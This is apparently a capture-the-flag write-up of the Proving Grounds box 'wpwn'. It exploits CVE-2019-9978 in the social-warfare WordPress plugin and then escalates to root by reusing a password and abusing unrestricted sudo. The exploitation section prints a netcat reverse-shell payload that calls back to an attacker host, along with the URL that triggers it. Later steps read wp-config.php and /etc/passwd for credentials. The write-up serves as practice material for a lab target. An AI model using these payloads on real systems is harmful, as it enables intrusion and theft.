# wpwn Writeup - Proving Grounds

> Easy Linux box running the vulnerable WordPress social-warfare plugin v3.5.2, exploited via CVE-2019-9978 for a www-data shell, then escalated to root by reusing the wp-config database password for the takis account, which has unrestricted sudo.

- **URL:** https://hackindex.io/writeups/wpwn
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** wordpress, rce, credential-reuse, sudo-misconfiguration, privilege-escalation, cve-2019-9978
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

wpwn runs WordPress with the vulnerable social-warfare plugin v3.5.2, which carries a remote code execution (CVE-2019-9978) that gives a shell as `www-data`. The WordPress database password in `wp-config.php` is reused for the `takis` account, which has unrestricted sudo, so escalating to root is trivial.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

SSH and HTTP. Brute force the web root, which reveals a `/wordpress` install, then enumerate its plugins with wpscan.

### WordPress enumeration

Enumerate installed plugins.

```bash
wpscan --url http://$TARGET_IP/wordpress -e ap
# [i] Plugin(s) Identified:
# [+] social-warfare
#  | Location: http://$TARGET_IP/wordpress/wp-content/plugins/social-warfare/
#  | Version: 3.5.2 (100% confidence)
```

The `social-warfare` plugin v3.5.2 is installed, which is vulnerable to CVE-2019-9978.

## Exploitation

### social-warfare RCE (CVE-2019-9978)

The plugin's `swp_url` parameter fetches and executes a remote file wrapped in `<pre>` tags. Create a payload that calls back a shell.

```
<pre>system('nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash')</pre>
```

Host the payload over HTTP, start a listener, then trigger it by visiting `http://$TARGET_IP/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$ATTACKER_IP/shell.txt`.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# www-data@wpwn:/var/www/html/wordpress/wp-admin$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Read `wp-config.php` for the database password and enumerate local users.

## Privilege Escalation

### Credential reuse

The config holds a database password and `/etc/passwd` lists the user `takis`.

```bash
cat /etc/passwd; cat ../wp-config.php
# root:x:0:0:root:/root:/bin/bash
# ...
# takis:x:1000:1000:takis,,,:/home/takis:/bin/bash
# --- wp-config.php ---
# define( 'DB_PASSWORD', '$TAKIS_PASSWORD' );
```

Try the database password against `takis` over SSH.

```bash
ssh -o StrictHostKeyChecking=no takis@$TARGET_IP
# takis@wpwn:~$ id
# uid=1000(takis) gid=1000(takis) groups=1000(takis)
```

The password is reused. Check the sudo rights.

```bash
sudo -l
# User takis may run the following commands on wpwn:
#     (ALL) NOPASSWD: ALL
```

`takis` may run any command as root with no password.

```bash
sudo su
# takis@wpwn:~$ sudo su
# root@wpwn:/home/takis# whoami
# root
```

Unrestricted sudo gives a root shell.

Related

## References

- [CVE-2019-9978](https://nvd.nist.gov/vuln/detail/CVE-2019-9978) - Social Warfare WordPress plugin < 3.5.3 remote code execution via the swp_url parameter.